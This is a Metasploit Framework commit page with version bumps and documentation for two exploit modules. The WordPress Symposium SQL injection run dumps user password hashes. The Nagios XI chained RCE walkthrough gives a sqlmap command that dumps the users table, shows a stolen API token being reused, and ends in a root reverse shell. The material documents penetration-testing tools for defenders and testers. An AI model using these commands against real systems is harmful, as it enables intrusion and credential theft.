Skip to content

Commit b4a2a6e

Browse files
author
Brent Cook
committed
Merge remote-tracking branch 'upstream/master' into land-7625-
2 parents 090dac6 + 7edb5e1 commit b4a2a6e

File tree

24 files changed

+811
-263
lines changed

24 files changed

+811
-263
lines changed

‎Gemfile.lock

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.13.3)
4+
metasploit-framework (4.13.5)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
@@ -104,7 +104,7 @@ GEM
104104
bcrypt (3.1.11)
105105
bit-struct (0.15.0)
106106
builder (3.2.2)
107-
capybara (2.10.1)
107+
capybara (2.11.0)
108108
addressable
109109
mime-types (>= 1.16)
110110
nokogiri (>= 1.3.3)
@@ -170,7 +170,7 @@ GEM
170170
activesupport (~> 4.2.6)
171171
railties (~> 4.2.6)
172172
metasploit-payloads (1.2.1)
173-
metasploit_data_models (2.0.9)
173+
metasploit_data_models (2.0.10)
174174
activerecord (~> 4.2.6)
175175
activesupport (~> 4.2.6)
176176
arel-helpers
@@ -186,7 +186,7 @@ GEM
186186
mime-types-data (~> 3.2015)
187187
mime-types-data (3.2016.0521)
188188
mini_portile2 (2.1.0)
189-
minitest (5.9.1)
189+
minitest (5.10.1)
190190
msgpack (1.0.2)
191191
multi_json (1.12.1)
192192
multi_test (0.1.2)
@@ -234,7 +234,7 @@ GEM
234234
thor (>= 0.18.1, < 2.0)
235235
rake (11.3.0)
236236
rb-readline-r7 (0.5.2.0)
237-
recog (2.1.0)
237+
recog (2.1.2)
238238
nokogiri
239239
redcarpet (3.3.4)
240240
rex-arch (0.1.2)

‎documentation/modules/auxiliary/admin/http/wp_symposium_sql_injection.md

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
## Vulnerable Application
2+
3+
The auxiliary/admin/http/wp_symposium_sql_injection works for WordPress
4+
Symposium plugin before 15.8. The Pro module version has not been verified.
5+
6+
To download the vulnerable application, you can find it here:
7+
https://github.com/wp-plugins/wp-symposium/archive/15.5.1.zip
8+
9+
## Verification Steps
10+
11+
1. Start msfconsole
12+
2. Do: ```use auxiliary/admin/http/wp_symposium_sql_injection```
13+
3. Do: ```set RHOST <ip>```
14+
4. Set TARGETURI if necessary.
15+
5. Do: ```run```
16+
17+
## Scenarios
18+
19+
Example run against WordPress Symposium plugin 15.5.1:
20+
21+
```
22+
msf > use auxiliary/admin/http/wp_symposium_sql_injection
23+
msf auxiliary(wp_symposium_sql_injection) > show info
24+
25+
Name: WordPress Symposium Plugin SQL Injection
26+
Module: auxiliary/admin/http/wp_symposium_sql_injection
27+
License: Metasploit Framework License (BSD)
28+
Rank: Normal
29+
Disclosed: 2015-08-18
30+
31+
Provided by:
32+
PizzaHatHacker
33+
Matteo Cantoni <[email protected]>
34+
35+
Basic options:
36+
Name Current Setting Required Description
37+
---- --------------- -------- -----------
38+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
39+
RHOST yes The target address
40+
RPORT 80 yes The target port
41+
SSL false no Negotiate SSL/TLS for outgoing connections
42+
TARGETURI / yes The base path to the wordpress application
43+
URI_PLUGIN wp-symposium yes The WordPress Symposium Plugin URI
44+
VHOST no HTTP server virtual host
45+
46+
Description:
47+
SQL injection vulnerability in the WP Symposium plugin before 15.8
48+
for WordPress allows remote attackers to execute arbitrary SQL
49+
commands via the size parameter to get_album_item.php.
50+
51+
References:
52+
http://cvedetails.com/cve/2015-6522/
53+
https://www.exploit-db.com/exploits/37824
54+
55+
msf auxiliary(wp_symposium_sql_injection) > set RHOST 1.2.3.4
56+
RHOST => 1.2.3.4
57+
msf auxiliary(wp_symposium_sql_injection) > set TARGETURI /html/wordpress/
58+
TARGETURI => /html/wordpress/
59+
msf auxiliary(wp_symposium_sql_injection) > run
60+
61+
[+] 1.2.3.4:80 - admin $P$ByvWm3Hb653Z50DskJVdUcZZbJ03dJ. [email protected]
62+
[+] 1.2.3.4:80 - pippo $P$BuTaWvLcEBPseEWONBvihacEqpHa6M/ [email protected]
63+
[+] 1.2.3.4:80 - pluto $P$BJAoieYeeCDujy7SPQL1fjDULrtVJ3/ [email protected]
64+
[*] Auxiliary module execution completed
65+
```

‎documentation/modules/exploit/linux/http/nagios_xi_chained_rce.md

Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,8 +28,22 @@ steps on the screen to configure the app.
2828
Configuration is actually not required to exploit the app, but you should do it
2929
anyway.
3030

31+
## Options
32+
33+
**USER_ID**
34+
35+
If you wish to exploit a particular ```USER_ID```, that can be specified here. Default is 1, which is most likely the admin account.
36+
37+
**API_TOKEN**
38+
39+
The SQLi included only works for MySQL, which should work in most cases. However, if you experience a different backend, you can enumerate the user
40+
table via sqlmap: ```sqlmap -u "http://[ip]/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump```.
41+
Then you can set the ```USER_ID``` and ```API_TOKEN``` to skip those phases and move on to exploitation. Default is empty. See example below for more usage.
42+
3143
## Usage
3244

45+
### Typical Usage
46+
3347
Just set ```RHOST``` and fire off the module! It's pretty much painless.
3448
```set VERBOSE true``` if you want to see details.
3549

@@ -71,3 +85,103 @@ uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10
7185
uname -a
7286
Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
7387
```
88+
89+
### Emulating a different DB
90+
91+
#### First we'll attempt the exploit and see what happens.
92+
93+
```
94+
msf exploit(nagios_xi_chained_rce) > show options
95+
96+
Module options (exploit/linux/http/nagios_xi_chained_rce):
97+
98+
Name Current Setting Required Description
99+
---- --------------- -------- -----------
100+
API_TOKEN no If an API token was already stolen, skip the SQLi
101+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
102+
RHOST 192.168.2.218 yes The target address
103+
RPORT 80 yes The target port
104+
SSL false no Negotiate SSL/TLS for outgoing connections
105+
USER_ID 1 yes User ID in the database to target
106+
VHOST no HTTP server virtual host
107+
108+
109+
Payload options (cmd/unix/reverse_bash):
110+
111+
Name Current Setting Required Description
112+
---- --------------- -------- -----------
113+
LHOST 192.168.2.117 yes The listen address
114+
LPORT 4444 yes The listen port
115+
116+
117+
Exploit target:
118+
119+
Id Name
120+
-- ----
121+
0 Nagios XI <= 5.2.7
122+
123+
124+
msf exploit(nagios_xi_chained_rce) > exploit
125+
126+
[*] Started reverse TCP handler on 192.168.2.117:4444
127+
[*] Nagios XI version: 5.2.7
128+
[*] Getting API token
129+
[+] 0 incidents resolved in Nagios IM
130+
131+
[-] Exploit aborted due to failure: unexpected-reply: API token not found! punt!
132+
[*] Exploit completed, but no session was created.
133+
```
134+
135+
#### Now lets try using sqlmap to enumerate the user table.
136+
137+
```
138+
root@k:~# sqlmap -u "http://192.168.2.218/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump
139+
...snip...
140+
Database: nagiosxi
141+
Table: xi_users
142+
[2 entries]
143+
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
144+
| user_id | name | email | enabled | username | password | backend_ticket |
145+
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
146+
| 2 | admin2 | [email protected] | 1 | admin2 | c84258e9c39059a89ab77d846ddab909 | 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g |
147+
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
148+
149+
...snip...
150+
```
151+
152+
#### Re-target
153+
Now, we can set the ```USER_ID``` and ```API_TOKEN``` (backend_ticket)
154+
155+
```
156+
msf exploit(nagios_xi_chained_rce) > set USER_ID 2
157+
USER_ID => 2
158+
msf exploit(nagios_xi_chained_rce) > set API_TOKEN 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
159+
API_TOKEN => 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
160+
msf exploit(nagios_xi_chained_rce) > exploit
161+
162+
[*] Started reverse TCP handler on 192.168.2.117:4444
163+
[*] Nagios XI version: 5.2.7
164+
[*] Getting admin cookie
165+
[+] Admin cookie: nagiosxi=rjs4f9k4299v78hpgq3374q6j6;
166+
[+] CSRF token: c53d1f591264a3ea771639a7782627f8
167+
[*] Getting monitored host
168+
[+] Monitored host: localhost
169+
[*] Downloading component
170+
[*] Uploading root shell
171+
[*] Popping shell!
172+
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.218:51032) at 2016-10-10 10:15:08 -0400
173+
[*] Cleaning up...
174+
[*] rm -rf ../profile
175+
[*] unzip -qd .. ../../../../tmp/component-profile.zip
176+
[*] chown -R nagios:nagios ../profile
177+
[*] rm -f ../../../../tmp/component-ZEaGkiTW.zip
178+
179+
1138255764
180+
NXEqynCVIfLzvpjUkqOovFvuLgsUrtpo
181+
CKorOSWlTQEkRoiwCiBqTgylyLQjuWxU
182+
oIGZxLofAStLsgsMNaGnQzzMuBYpJUQs
183+
fkUlWzVvhurgAATtxKhLSBFCxQaZqjtR
184+
QajRDDToeigHGMFdUbaClxkLfJbxqBKv
185+
whoami
186+
root
187+
```

‎lib/metasploit/framework/version.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def self.get_hash
3030
end
3131
end
3232

33-
VERSION = "4.13.3"
33+
VERSION = "4.13.5"
3434
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
3535
PRERELEASE = 'dev'
3636
HASH = get_hash

0 commit comments

Comments
 (0)